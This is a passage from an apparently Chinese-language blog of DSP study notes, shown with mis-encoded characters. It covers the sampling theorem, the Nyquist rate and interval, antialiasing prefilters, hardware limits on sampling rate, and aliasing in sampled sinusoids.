ท่ฟ‡็จ‹ไผšไบง็”Ÿ้ซ˜้ข‘ๅˆ†้‡๏ผŒไฝ†่ฟ™ไบ›ๅˆ†้‡ๅ‡บ็Žฐ็š„้žๅธธๆœ‰่ง„ๅพ‹๏ผŒๅณๅฏนไบŽๆฏไธ€ไธชๅŽŸๅง‹ไฟกๅท็š„้ข‘็Ž‡ๅˆ†้‡ๆฅ่ฏด๏ผŒๅ…ถไผšๅœจๆ•ดไธช้ข‘็Ž‡ๅๆ ‡ไธŠๅ‘จๆœŸๆ€ง็š„้‡ๅคๅ‡บ็Žฐ๏ผˆperiodically replicated๏ผ‰๏ผŒ่ฟ™ไธชๅ‘จๆœŸๅฏไปฅ้€š่ฟ‡<strong>้‡‡ๆ ท็Ž‡๏ผˆsampling rate๏ผ‰</strong>ๆฅ่กจ็คบ๏ผš<br>\n$$<br>\nf_s=\\frac{1}{T}<br>\n$$<br>\nๆˆ‘ไปฌๅ…ˆไปŽ็ฎ€ๅ•็š„ๆญฃๅผฆไฟกๅท้ชŒ่ฏ่ฟ™ไธชๅ‘จๆœŸ้‡ๅค็‰นๆ€ง๏ผŒ่ฟ›่€ŒๅœจๆŽจๅนฟๅˆฐไปปๆ„ไฟกๅทไธŠใ€‚ๆฏ”ๆ–น่ฏด๏ผŒ่€ƒ่™‘ไธ€ไธช้ข‘็Ž‡ไธบ $f$ ๆญฃๅผฆไฟกๅท $x(t)=e^{2\\pi jft}$ใ€‚ๅœจ่ฟ›่กŒ้‡‡ๆ ทๅ‰๏ผŒๅ…ถ้ข‘็Ž‡่ฐฑๅบ”่ฏฅๅชๆ˜ฏไธ€ไธชๅœจ้ข‘็Ž‡ $f$ ๅค„้™กๅณญ็š„ๆ›ฒ็บฟ๏ผŒ่€ŒๅฏนไบŽไธ€ไธช็ป่ฟ‡้‡‡ๆ ทๅŽ็š„ๆญฃๅผฆไฟกๅท $x(nT)=e^{2\\pi jfnT}$ ๆฅ่ฏด๏ผŒๅŽŸๅ…ˆ้™กๅณญ็š„ๆ›ฒ็บฟไผšไปฅ $f_s$ ไธบ้—ด้š”ๅœจ้ข‘็Ž‡่ฐฑไธŠๅ‘จๆœŸๆ€งๅ‡บ็Žฐ๏ผŒๅฆ‚ไธ‹ๅ›พ๏ผš</p>\n<p><img alt=\"image-20190917151738570\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917151738570.png\"></p>\n<p>่ฟ˜่ฆๆณจๆ„็š„ๆ˜ฏ๏ผŒๅฏนไบŽ้‡‡ๆ ทๅŽ็š„ไฟกๅท็š„้‡ๅค้ข‘็Ž‡่ฐฑๆฅ่ฏด๏ผŒๆˆ‘ไปฌๆ˜ฏไธ่ƒฝๅ”ฏไธ€ๅœฐ็กฎๅฎšๅŽŸๅง‹้ข‘็Ž‡็ฉถ็ซŸๆ˜ฏๅ“ชไธ€ไธชใ€‚ๅฎƒๅฏไปฅๅฏนๅบ”ไบŽๅ…ถไธญ็š„ไปปไฝ•ไธ€ไธช๏ผŒๅณ $f'=f+mf_s,m=0,\\pm1,\\pm2,\\dots$ใ€‚๏ผˆ่ฟ™ไธช็ป“ๆžœๅฏไปฅๅ‚่€ƒ <a href=\"#1.4.1 Analog Reconstruction and Aliasing\">1.4.1 Analog Reconstruction and Aliasing</a> ๏ผ‰่ฟ™ไนŸๆ˜ฏๅ› ไธบ่ฟ™ไบ›้ข‘็Ž‡ๅ„่‡ชไนŸ้ƒฝไผšๆœ‰็›ธๅŒ็š„้‡‡ๆ ทๅ‘จๆœŸ้‡ๅคๆ€งใ€‚่ฟ™็งๅ› ้‡‡ๆ ท้€ ๆˆ็š„ๅฏนๅŽŸๅง‹้ข‘็Ž‡็š„ๆททๆท†๏ผŒๆˆ‘ไปฌๅซๅš aliasingใ€‚้€š่ฟ‡ๆปก่ถณ้‡‡ๆ ทๅฎš็†๏ผˆsampling theorem๏ผ‰็š„ๆกไปถ๏ผŒๅฐฑๅฏไปฅ้ฟๅ…่ฟ™็งๆททๆท†ๆ€งใ€‚</p>\n<p>้‡‡ๆ ทๅฎš็†ๆไพ›ไบ†ไธ€็ง้‡ๅŒ–็š„่งฃ็ญ”๏ผŒ็”จไปฅๅ›ž็ญ”็ฉถ็ซŸๆ€Žๆ ท้€‰ๆ‹ฉๆ—ถ้—ด้—ด้š” $T$ใ€‚ๆ˜พ็„ถ๏ผŒ$T$ ๅบ”่ฏฅ่ถณๅคŸ็š„ๅฐ๏ผˆsmall enough๏ผ‰ไปฅไฝฟๅพ—ไฟกๅทๅฝขๆ€็š„ๅ˜ๅŒ–ๅฏไปฅๆ•ๆ‰ๅˆฐ่€Œไธไผšไธขๅคฑใ€‚ไฝ†ๆ˜ฏๅˆฐๅบ•่ฏฅๆœ‰ๅคšๅฐ็ฎ—ๆ˜ฏโ€œ่ถณๅคŸๅฐโ€ๅ‘ข๏ผŸๅฎž้™…ๆ“ไฝœๆ„ไน‰ไธŠๆฅ่ฏด๏ผŒ$T$ ๅคชๅฐ็š„่ฏ๏ผŒๅฐฑ้‡‡ๆ ท็‚นๅคชๅคš่€Œๅค„็†่ตทๆฅไผšๆœ‰้บป็ƒฆใ€‚ๅฆ‚ไธ‹ๅ›พๆ‰€็คบ๏ผŒไฟกๅท 1 ็š„ $T$ ่ถณๅคŸ็š„ๅฐ่ถณไปฅ่Žทๅพ—ไฟกๅท 1 ็š„็ป†่Š‚๏ผŒ่€ŒๅฏนไบŽไฟกๅท 2 ๆฅ่ฏด๏ผŒๅฐฑๆœจๆœ‰ๅฟ…่ฆ่ฟ™ไนˆๅฐ็š„ $T$ ไบ†ใ€‚</p>\n<p><img alt=\"image-20190917161933408\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917161933408.png\"></p>\n<p>ๆˆ‘ไปฌๅฏไปฅๆข็”จ้‡‡ๆ ท็Ž‡ $f_s$ ๆฅๅŒๆ ท็š„ๆ่ฟฐ่ฟ™ไปถไบ‹ๆƒ…ใ€‚้‡‡ๆ ท็Ž‡็š„ๅ•ไฝๆ˜ฏ [samples/sec] ๆˆ– [Hertz] ๏ผŒ่กจ็คบ็š„ๆ˜ฏๅ•ไฝๆ—ถ้—ด้‡Œ้‡‡ๆ ท็‚น็š„โ€œๅฏ†ๅบฆโ€ใ€‚ๅ› ๆญค๏ผŒๅฏนไบŽไธ€ไธชๅ˜ๅŒ–ๅพˆๅฟซๅ’Œๅพˆๅคๆ‚็š„ไฟกๅทๆฅ่ฏด๏ผŒๅบ”่ฏฅๆœ‰ไธ€ไธช่พƒ้ซ˜็š„้‡‡ๆ ท็Ž‡ $f_s$๏ผŒๅฏนไบŽๅ˜ๅŒ–ๆฏ”่พƒ็ผ“ๆ…ข็š„ไฟกๅทๆฅ่ฏดๅฐฑๅฐ้‡‡ๆ ท็Ž‡ๆฅ้‡‡ๆ ทใ€‚</p>\n<h3 id=\"131-sampling-theorem\">1.3.1 Sampling Theorem</h3>\n<p>ไธ€ไธชๆ›ดๅŠ ้‡ๅŒ–็š„ๆ ‡ๅ‡†่กจ่ฟฐๅฐฑๆ˜ฏ้‡‡ๆ ทๅฎš็†๏ผˆsampling theorem๏ผ‰๏ผŒๅ…ถๅ†…ๅฎนๆ˜ฏๅฏนไบŽๆŸๆจกๆ‹Ÿไฟกๅท $x(t)$ ้€š่ฟ‡้‡‡ๆ ทๅŽ๏ผŒๅพ—ๅˆฐไธ€ไธช่พƒไธบๅ‡†็กฎ๏ผˆaccurate๏ผ‰็š„่กจๅพ $x(nT)$๏ผŒ้œ€่ฆๆปก่ถณไธคไธชๆกไปถ๏ผš</p>\n<ol>\n<li>\n<p>ๆจกๆ‹Ÿไฟกๅท $x(t)$ ๅฟ…้กปๆ˜ฏ้ข‘่ฐฑๆœ‰้™็š„๏ผˆbandlimited๏ผ‰ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๅ…ถ้ข‘็Ž‡่ฐฑๅฟ…้กป่ฆๅ—้™ไบŽๆŸๆœ€ๅคง้ข‘็Ž‡ๅ€ผ๏ผŒ$f_\\max$ใ€‚ๅฆ‚ไธ‹้ข็š„ๅ›พใ€‚</p>\n</li>\n<li>\n<p><strong>้‡‡ๆ ท็Ž‡ $f_s$ ๅฟ…้กปๆ˜ฏ่‡ณๅฐ‘ไธคๅ€ไบŽๆœ€ๅคง้ข‘็Ž‡ๅ€ผ $f_\\max$</strong>๏ผŒๅณ<br>\n $$<br>\n f_s\\ge2f_\\max<br>\n $$<br>\nๆˆ–่€…็”จ้‡‡ๆ ท้—ด้š”ๆฅ่กจ็คบ๏ผš$T\\le\\frac{1}{2f_\\max}$ใ€‚</p>\n</li>\n</ol>\n<p><img alt=\"image-20190917163012026\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917163012026.png\"></p>\n<p>้‚ฃไนˆๅฏ่ง๏ผŒๆ นๆฎ้‡‡ๆ ทๅฎš็†๏ผŒๆœ€ๅฐ้‡‡ๆ ท็Ž‡ๅฐฑๆ˜ฏ $f_s=2f_\\max$๏ผŒ่ฟ™ไธช้ข‘็Ž‡็งฐไฝœ <strong>Nyquist rate</strong>ใ€‚ๅฏนไบŽไปปๆ„ๆŸ $f_s$ ๅ€ผๆฅ่ฏด๏ผŒ$f_s/2$ ่ขซ็งฐไฝœ <strong>Nyquist frequency</strong> ๆˆ– folding frequencyใ€‚ๆฎๆญคๅฏไปฅๅฎšไน‰ๅ‡บ <strong>Nyquist frequency interval</strong> ็š„่พน็•Œ๏ผš<br>\n$$<br>\n[-\\frac{f_s}{2},\\frac{f_s}{2}]=\\text{Nyquist Interval}<br>\n$$<br>\nNyquist frequency $f_s/2$ ไนŸๅซๅšไฝŽ้€šๆจกๆ‹Ÿๆปคๆณขๅ™จ๏ผˆlowpass analog prefilters and postfilters๏ผ‰็š„ๆˆชๆ–ญ้ข‘็Ž‡ <strong>cutoff frequencies</strong>ใ€‚$f_\\max$ ๅ’Œ $f_s$ ไผšๆ นๆฎๅบ”็”จๅœบๆ™ฏ็š„ไธๅŒ่€ŒไธๅŒใ€‚้€šๅธธ็š„้‡‡ๆ ท็Ž‡ๅœจไธ€ไบ› DSP ๅบ”็”จๅœบๆ™ฏไธญๅฆ‚ไธ‹่กจๆ‰€็คบ๏ผš</p>\n<p><img alt=\"image-20190917163747415\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917163747415.png\"></p>\n<h3 id=\"132-antialiasing-prefilters\">1.3.2 Antialiasing Prefilters</h3>\n<p>้‡‡ๆ ทๅฎš็†็š„ๅฎž้™…ๅบ”็”จๆ˜ฏ็›ธๅฝ“้‡่ฆ็š„ใ€‚ๅ› ไธบ็ปๅคงๅคšๆ•ฐไฟกๅทๅนถไธๆ˜ฏ้ข‘่ฐฑๆœ‰้™็š„๏ผˆbandlimited๏ผ‰๏ผŒๆˆ‘ไปฌๅฟ…้กป่ฆๅœจ้‡‡ๆ ทๅ‰ๅฏนๅ…ถ่ฟ›่กŒไฝŽ้€šๆปคๆณข๏ผˆlowpass filtering๏ผ‰ใ€‚</p>\n<p>ไธบไบ†้‡‡ๆ ทๅพ—ๅˆฐไธ€ไธชๆŸๆŒ‡ๅฎš็š„้‡‡ๆ ท็Ž‡ $f_s$ ๅนถไธ”ๅŒๆ—ถๆปก่ถณ้‡‡ๆ ทๅฎš็†๏ผŒไฟกๅทๅฟ…้กป่ฆๅ…ˆ้€š่ฟ‡ไธ€ไธชๆจกๆ‹ŸไฝŽ้€šๆปคๆณขๅ™จ๏ผˆlowpass analog filter๏ผ‰ๆฅ่ฟ›่กŒ้ข„ๆปคๆณข๏ผˆprefiltered๏ผ‰ใ€‚่ฏฅ่ฟ™ไธช้ข„ๆปคๆณขๅ™จ็š„ๆˆชๆ–ญ้ข‘็Ž‡ไธ€ๅฎš่ฆๅฐฝๅฏ่ƒฝๆŽฅ่ฟ‘ไบŽ Nyquist frequency $f_s/2$๏ผŒๅณ่ฆๆฑ‚ $f_\\max\\le f_s/2$ใ€‚ๅฆ‚ไธ‹ๅ›พ๏ผš</p>\n<p><img alt=\"image-20190917164722753\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917164722753.png\"></p>\n<p>่ฟ™ไธชๆจกๆ‹Ÿ้ข„ๆปคๆณขๅ™จ็š„่พ“ๅ‡บๅฐฑไผšๆ˜ฏ้ข‘่ฐฑๆœ‰้™๏ผˆbandlimited๏ผ‰ๅˆฐไบ†ๆœ€ๅคง้ข‘็Ž‡ $f_\\max$๏ผŒๅ…ถๅฏไปฅๆœ‰ๆ•ˆๅœฐ้‡‡ๆ ทๅˆฐๆŒ‡ๅฎšๆƒณ่ฆ็š„้‡‡ๆ ท็Ž‡ $f_s$ใ€‚ๅ› ้‡‡ๆ ท่ฟ‡็จ‹ไบง็”Ÿ็š„้ข‘่ฐฑ้‡ๅคไนŸๅฏไปฅไปŽไธŠๅ›พไธญ็œ‹ๅˆฐ๏ผŒ็ญ‰ๆˆ‘ไปฌๅœจ <a href=\"#1.5 Spectra of Sampled Signals\">1.5 Spectra of Sampled Signals</a> ไธญ่ฏฆ็ป†่ฎจ่ฎบใ€‚</p>\n<p>่ฟ™้‡Œ้œ€่ฆๅผบ่ฐƒ็š„ๆ˜ฏ๏ผŒ้ข„ๆปคๆณขๅŽ๏ผŒ$f_s$ ๅบ”่ฏฅๅ–ๅพ—ๅฐฝๅฏ่ƒฝ็š„ๅคงใ€‚่ฟ™ๆ ท็š„่ฏ๏ผŒๅ‰ฉไฝ™ๅœจ $[-f_s/2,f_s/2]$ ็š„ไฟกๅท้ข‘็Ž‡่ฐฑๅฐฑไผšๅŒ…ๅซๆœ‰ๆ‰€ๆœ‰ๆ˜พ่‘—๏ผˆsignificant๏ผ‰็š„้ข‘็Ž‡ๅˆ†้‡ใ€‚</p>\n<ul>\n<li><strong>Example 1.3.1:</strong> ๅœจ hi-fi ๆ•ฐๅญ—้Ÿณ้ข‘ๅบ”็”จไธญ๏ผŒๆˆ‘ไปฌๆƒณ่ฆ้‡‡ๆ ท็Ž‡ไธบ 40kHz ๅŽปๆ•ฐๅญ—ๅŒ–ไธ€ๆฎต้Ÿณไนใ€‚ๅ› ๆญค๏ผŒ่ฟ™ๆฎต้Ÿณไนไธ€ๅฎš่ฆๅ…ˆๆœ€ๅคงๅˆฐ 20kHz ๅค„่ฟ›่กŒ้ข„่ฟ‡ๆปคใ€‚่ฟ™ๆ ท๏ผŒๅพ—ๅˆฐ็š„ๅฃฐ้Ÿณ้ข‘็Ž‡่ฐฑๅฐฑๆ˜ฏ้žๅธธๅคŸ็”จ็š„ไบ†๏ผŒๅ› ไธบๆˆ‘ไปฌไบบ่€ณๆœตๆ‰€่ƒฝ่พจๅˆซ็š„้Ÿณ้ข‘้ข‘็Ž‡ๆœ€ๅคงๅฐฑๅˆฐ 20kHzใ€‚</li>\n<li><strong>Example 1.3.2:</strong> ็ฑปไผผๅœฐ๏ผŒ็”จๆœ€ๅคง 4kHz ๆฅ้ข„่ฟ‡ๆปคไธ€ไธช่ฏญ้Ÿณ้ข‘็Ž‡่ฐฑๅฐฑๅทฒ็ปๅพˆไธ้”™็š„ไบ†ใ€‚ๅ› ๆญค๏ผŒๆ•ฐๅญ—่ฏญ้Ÿณๅบ”็”จ็š„้‡‡ๆ ท็Ž‡็”จ 8kHz ๆ˜ฏๅพˆๅคŸ็”จ็š„ใ€‚</li>\n</ul>\n<p>ๆ นๆฎ้‡‡ๆ ทๅฎš็†๏ผŒๅฆ‚ๆžœๆฒกๆœ‰้‡‡ๆ ทๅ……ๅˆ†ไผšๆ€Žๆ ทๅ‘ข๏ผŸๅฆ‚ๆžœๆฌ ้‡‡ๆ ท็š„่ฏ๏ผŒๆˆ‘ไปฌๅฐฑไผšๅคฑๅŽปๅœจ้‡‡ๆ ท้—ด้š”ไน‹้—ดๅคฑๅŽปไธ€ไบ›้‡่ฆ็š„ไฟกๅทๅ˜ๅŒ–๏ผŒไปŽ่€Œๅพ—ๅˆฐ้”™่ฏฏ็š„ไฟกๅท้‡‡ๆ ท๏ผŒๅนถไธ”้‡‡ๆ ทไฟกๅทไผšๆฏ”ๅฎž้™…ไฟกๅทๅนณๆป‘็š„ๅคšใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๆˆ‘ไปฌไผš็”จไธ€ไธช่พƒไฝŽ็š„้ข‘็Ž‡ไฟกๆฏๆททๆท†ไบ†่พƒ้ซ˜็š„ๆญฃ็กฎ้ข‘็Ž‡ๅ†…ๅฎนใ€‚่ฟ™็งๆททๆท†็Žฐ่ฑกๅฐฑๆ˜ฏ <strong>aliasing</strong>๏ผŒๅฆ‚ไธ‹ๅ›พๆ‰€็คบใ€‚</p>\n<p><img alt=\"image-20190917170510708\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917170510708.png\"></p>\n<blockquote>\n<p>ไธ‹้ข็š„ JavaScript ๅฏไปฅๆ›ดๅฅฝๅœฐ็œ‹ๅˆฐ้‡‡ๆ ทๅฎš็†ๆ˜ฏๅฆ‚ไฝ•่ตทไฝœ็”จ็š„๏ผš</p>\n<p><em>For a full list of all applets click <a href=\"http://195.134.76.37/applets/Applet_Index2.htm\">here</a>.</em></p>\n</blockquote>\n<iframe name=\"rightframe\" src=\"http://195.134.76.37/applets/AppletNyquist/NyquistApplet.htm\" scrolling=\"no\" target=\"_self\" noresize=\"\" style=\"width: 650px;height: 500px;\"></iframe>\n\n<h3 id=\"133-hardware-limits\">1.3.3 Hardware Limits</h3>\n<p>ไธ‹้ข๏ผŒๆˆ‘ไปฌๆฅ่€ƒ่™‘ๅ› ็กฌไปถ็š„ๅŽŸๅ› ่€Œ้€ ๆˆๅฏน้‡‡ๆ ท็Ž‡ $f_s$ ็š„้™ๅˆถใ€‚้‡‡ๆ ทๅฎš็†็ป™ๅ‡บไบ†ๅ…่ฎธ็š„้‡‡ๆ ท็Ž‡ $f_s$ ็š„ๆœ€ๅฐไธ‹็•Œ๏ผˆlower bound๏ผ‰๏ผŒ่€Œๅฎž้™…ๅบ”็”จไธญ็š„็กฌไปถไผš็ป™ๅ‡บๅ…ถๆœ€ๅคงไธŠ็•Œ๏ผˆupper bound๏ผ‰ใ€‚</p>\n<p>ๅœจไธ€ไบ›ๅฎžๆ—ถๅบ”็”จไธญ๏ผŒๆฏไธ€ไธช้‡‡ๆ ท่พ“ๅ…ฅ้ƒฝไผš่ขซ่Žทๅ–ๅˆฐใ€็ป่ฟ‡้‡ๅŒ–ๅ’Œ่ขซ DSP ๅค„็†๏ผŒๅ…ถ่พ“ๅ‡บ้‡‡ๆ ทไฟกๅทไผš่ขซ่ฝฌๅŒ–ไธบๆจกๆ‹Ÿไฟกๅทๅฝขๅผใ€‚่ฟ™ไธช่ฟ‡็จ‹ไธ€่ˆฌ้ƒฝ็”จๆตๆฐด็บฟๅŒ–๏ผˆpipelined๏ผ‰็”จไปฅ็ผฉ็Ÿญๆ•ดไธช็š„ๅค„็†ๆ—ถ้—ดใ€‚ๆฏ”ๆ–น่ฏด๏ผŒas the DSP is processing the present sample, the D/A may be converting the previous output sample, while the A/D may be acquiring the next input sample.</p>\n<p>ไธ็ฎกๆ€Žๆ ท๏ผŒๅฏนไบŽๆฏไธช้‡‡ๆ ทๆฅ่ฏด๏ผŒ้ƒฝๆœ‰ไธ€ไธชๆ€ป็š„ๅค„็†/่ฎก็ฎ—ๆ—ถ้—ด $T_{proc}$ใ€‚<strong>ๆฏๆฌก้‡‡ๆ ท็š„ๆ—ถ้—ด้—ด้š” $T$๏ผŒๆ˜พ็„ถไธ€ๅฎš่ฆๅคงไบŽ $T_{proc}$</strong>๏ผŒๅฆๅˆ™็š„่ฏ๏ผŒๅค„็†ๅ™จไผš่ทŸไธไธŠๆŽฅไธ‹ๆฅ็š„้‡‡ๆ ทๆ•ฐๆฎ็‚นใ€‚ๅณๆ˜ฏ่ฏด๏ผš<br>\n$$<br>\nT\\ge T_{proc}<br>\n$$<br>\nๆˆ–่€…่ฏด๏ผŒ่กจ็คบๆˆๅค„็†/่ฎก็ฎ—้€Ÿ็Ž‡็š„่ฏ๏ผŒ$f_{proc}=1/T_{proc}$๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅๅพ—ๅˆฐไธ€ไธชไธŠ็•Œ $f_s\\le f_{proc}$๏ผŒ<strong>็ป“ๅˆ้‡‡ๆ ทๅฎš็†็š„่ฏ๏ผŒๅฐฑๅฏไปฅๆœ‰้‡‡ๆ ท็Ž‡ $f_s$ ็š„ไธŠไธ‹็•Œ</strong>ไบ†๏ผš<br>\n$$<br>\n2f_\\max\\le f_s \\le f_{proc}<br>\n$$<br>\nๅœจไน‹ๅŽ็š„็ซ ่Š‚ไธญ๏ผŒๆˆ‘ไปฌไผš่ฎจ่ฎบ่ฏฆ็ป†็š„่ฎจ่ฎบ aliasing ็Žฐ่ฑก๏ผŒๅนถไธ”ๆไพ›ไธ€ไธช้‡‡ๆ ทๅฎš็†็š„ๅฎš้‡่ฏๆ˜Ž๏ผŒ่ฟ˜ไผš่ฎจ่ฎบ้ข‘็Ž‡่ฐฑ็š„ๅ‘จๆœŸ้‡ๅคๆ€ง่ดจ๏ผŒๆœ€ๅŽไผš่ฎจ่ฎบๅœจๆ•ดไธช DSP ็ณป็ปŸ็š„่ดจ้‡ๆŠŠๆŽงไธญ๏ผŒๅฎž้™…้‡‡ๆ ทๅ’Œไฟกๅท้‡ๅปบ็š„่ฎฎ้ข˜ใ€‚้šๅŽ๏ผŒQuantization ไผšไป‹็ปๅ‡บๆฅใ€‚</p>\n<h2 id=\"14-sampling-of-sinusoids\">1.4 Sampling of Sinusoids</h2>\n<p>็”จๆญฃๅผฆๅ‡ฝๆ•ฐ<br>\n$$<br>\nx(t) = \\cos(2\\pi ft)<br>\n$$<br>\nๆฅๆŽข่ฎจ้‡‡ๆ ทๅฎš็†็š„ไธคไธชๆกไปถ๏ผŒๅณ $x(t)$ ๆ˜ฏ้ข‘็Ž‡ๆœ‰้™็š„ๅ’Œ $f_s\\ge2f_\\max$ใ€‚ๅฆ‚ไธ‹ๅ›พ๏ผŒ</p>\n<p><img alt=\"image-20190917172921650\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917172921650.png\"></p>\n<p>ๅ›พไธญๆˆ‘ไปฌๅˆ†ๅˆซๆ นๆฎ $f_s=8f,f_s=4f,f_s=2f$ ๆฅ่ฟ›่กŒ้‡‡ๆ ท๏ผŒ่ฟ™ไบ›้‡‡ๆ ท็Ž‡ๅˆ†ๅˆซๅฏนๅบ”ไบ†ๅ•ไธชไฟกๅทๅ‘จๆœŸๅ†…ๆœ‰ 8๏ผŒ4 ๅ’Œ 2 ไธช้‡‡ๆ ท็‚นๆ•ฐ็›ฎใ€‚</p>\n<p>ไปŽๅ›พไธŠๅฐฑๅฏไปฅ็›ดๆŽฅ็›ด่ง‰็š„ๅพ—ๅˆฐ็ป“่ฎบ๏ผŒๆฏไธชๅ‘จๆœŸ้‡Œๆœ€ๅฐๅฏไปฅๆŽฅๅ—็š„้‡‡ๆ ท็‚นๆ•ฐ็›ฎๅฐฑๅบ”่ฏฅๆ˜ฏ 2ใ€‚ไฝ†ๅ…ถๅฎžไธคไธช้‡‡ๆ ทๆ ทๆœฌๅœจไธ€ไธชๅ‘จๆœŸ้‡Œๅ…ถๅฎžไนŸไธๆ˜ฏ่ถณๅคŸๅ……ๅˆ†็š„<dt-fn>ๅ› ไธบ่ฟ™่ฟ˜ไพ่ต–ไบŽ็›ธไฝๅ•Šใ€‚ๆฏ”ๆ–น่ฏด๏ผŒๆˆ‘ไปฌ้‡‡ๆ ท็š„็‚นไธๅœจๅณฐๅ€ผๅค„๏ผŒ่€Œๆ˜ฏๅœจ 0 ๅ€ผๅ‡บ๏ผŒ้‚ฃๆœ€ๅŽ้‡‡ๆ ทๅ‡บๆฅ็š„ๆ ทๆœฌไธๅฐฑๅ…จๆ˜ฏ 0 ไบ†ๅ“ฆ~</dt-fn>๏ผŒไธ่ฟ‡ๅฅฝๆญน่ฟ™ไนŸ็ฎ—ๆ˜ฏๆ•ๆ‰ๅˆฐไบ†ๅŸบๆœฌ็š„ๆญฃๅผฆไฟกๅท็š„้œ‡ๅŠจ็‰น็‚นใ€‚ๆฏไธชๅ‘จๆœŸ็š„้‡‡ๆ ท็‚นๆ•ฐ็›ฎๅฏไปฅๆ นๆฎ $f_s/f$ ็ฎ—ๅ‡บๆฅ๏ผš</p>\n<p>$$<br>\n\\frac{f_s}{f}=\\frac{\\text{samples/sec}}{\\text{cycles/sec}}=\\frac{\\text{samples}}{\\text{cycle}}<br>\n$$</p>\n<p>ๅ› ๆญค๏ผŒไธบไบ†ๆญฃ็กฎ็š„ๅฏนๆญฃๅผฆไฟกๅท่ฟ›่กŒ้‡‡ๆ ท๏ผŒๆˆ‘ไปฌๅฐฑไธ€ๅฎš่ฆ่ฆๆฑ‚๏ผš<br>\n$$<br>\n\\frac{f_s}{f} \\ge \\text{2 samples/cycle} \\Rightarrow f_s\\ge 2f<br>\n$$<br>\nๆŽฅไธ‹ๆฅ๏ผŒ่€ƒ่™‘ไปปๆ„ไฟกๅท $x(t)$ ็š„ๆƒ…ๅฝขใ€‚ๆ นๆฎ้€†ๅ‚…้‡Œๅถๅ˜ๆข๏ผŒ$x(t)$ ๅฏไปฅ่กจ็คบไธบๆญฃๅผฆๅ‡ฝๆ•ฐ็š„็บฟๆ€งๅ ๅŠ ใ€‚ไบŽๆ˜ฏ๏ผŒ<u>ๅฏนไฟกๅท $x(t)$ ็š„ๆญฃ็กฎ้‡‡ๆ ท็š„ๅ……ๅˆ†ๅฟ…่ฆๆกไปถๅฐฑๆ˜ฏ๏ผŒๅฏน $x(t)$ ็š„ๆฏไธ€ไธชๆญฃๅผฆๅ‡ฝๆ•ฐๅˆ†้‡้ƒฝ่ฆๆญฃ็กฎ็š„้‡‡ๆ ทใ€‚</u></p>\n<p>ๆ‰€ไปฅ๏ผŒ่ฟ™ๅฐฑๅฏนไฟกๅท $x(t)$ ๆๅ‡บไบ†้ข‘็Ž‡ๆœ‰้™็š„่ฆๆฑ‚ใ€‚ๅฆๅˆ™็š„่ฏ๏ผŒไฟกๅทไผšๅซๆœ‰ไปปๆ„้ซ˜้ข‘็Ž‡ $f$ ็š„ๆญฃๅผฆไฟกๅท๏ผŒไปŽ่€Œๅฐฑ่ฆๆฑ‚ไปปๆ„้ซ˜็š„้‡‡ๆ ท็Ž‡ $f_s$๏ผˆๆ นๆฎไธŠ้ข็š„ไธ็ญ‰ๅผ๏ผ‰ใ€‚ๅฆ‚ๆžœไธ€ไธชไฟกๅทๆ˜ฏ้ข‘็Ž‡ๆœ‰้™ๅˆฐๆŸๆœ€ๅคง้ข‘็Ž‡ $f_\\max$ ็š„่ฏ๏ผŒ็„ถๅŽๅ–้‡‡ๆ ท็Ž‡ $f_s\\ge 2f_\\max$๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅๅ‡†็กฎ็š„้‡‡ๆ ทๅ‡บ $x(t)$ ็š„ๆœ€ๅฟซ้€Ÿๅ˜ๅŒ–๏ผˆfastest-varying๏ผ‰็š„ๅˆ†้‡๏ผŒไปŽ่€Œ็†็”ฑๆ›ดๅ……ๅˆ†็š„๏ผˆfortiori๏ผ‰๏ผŒๅฏนๆ‰€ๆœ‰ๆฒก้‚ฃไนˆๅ˜ๅŒ–ๅคๆ‚็š„ๅˆ†้‡ๅฏไปฅ็ฒพ็กฎ้‡‡ๆ ทใ€‚ไธพไธ€ไธชไพ‹ๅญ๏ผŒ่€ƒ่™‘ไธ‹้ขไธ€็ง็‰นๆฎŠไพ‹ๅญ๏ผš<br>\n$$<br>\nx(t) = A_1\\cos(2\\pi f_1t)+A_2\\cos(2\\pi f_2t)+\\cdots+A_\\max\\cos(2\\pi f_\\max t)<br>\n$$<br>\nๅ…ถไธญ๏ผŒไธŠ้ข $f_i$ ็š„ๅคงๅฐๆ˜ฏ้€ๆธ้€’ๅขž็š„ใ€‚ไบŽๆ˜ฏ๏ผŒๅฐฑๆœ‰ไบ†็บฆๆŸๆกไปถ<br>\n$$<br>\n2f_1\\le2f_2\\le\\cdots\\le2f_\\max\\le f_s<br>\n$$<br>\nๆ„ๅ‘ณ็€ $f_s$ ้‡‡ๆ ท็Ž‡ไธ‹๏ผŒ$x(t)$ ็š„ๆฏไธชๆญฃๅผฆๅˆ†้‡้ƒฝๅฏไปฅๅพˆๅฅฝ็š„้‡‡ๆ ท๏ผŒ้‚ฃไนˆ $x(t)$ ๅฐฑๅฏไปฅๅพˆๅฅฝ็š„่ขซ้‡‡ๆ ทใ€‚</p>\n<h3 id=\"141-analog-reconstruction-and-aliasing\">1.4.1 Analog Reconstruction and Aliasing</h3>\n<p>ไธ‹้ข๏ผŒๆˆ‘ไปฌๆฅ่ฎจ่ฎบๅฝ“ๆฒกๆœ‰ๆปก่ถณ้‡‡ๆ ทๅฎš็†ๆ—ถไผš้€ ๆˆ็š„ aliasing ๆ•ˆๅบ”ใ€‚่€ƒ่™‘ๅคๆ•ฐๅฝขๅผ็š„ๆญฃๅผฆๅ‡ฝๆ•ฐ๏ผš<br>\n$$<br>\nx(t)=e^{j\\Omega t}=e^{2\\pi jft}<br>\n$$<br>\nไปฅๅŠ้‡‡ๆ ทๅŽ็š„ๆœ‰๏ผˆ$t=nT$๏ผ‰,<br>\n$$<br>\nx(nT)=e^{j\\Omega Tn}=e^{2\\pi jfTn}<br>\n$$<br>\nๆˆ‘ไปฌๅ†ๅฎšไน‰ไธ€็ป„ๆญฃๅผฆๅ‡ฝๆ•ฐๆ—๏ผŒ<br>\n$$<br>\nx_m(t)=e^{2\\pi j(f+mf_s)t}, 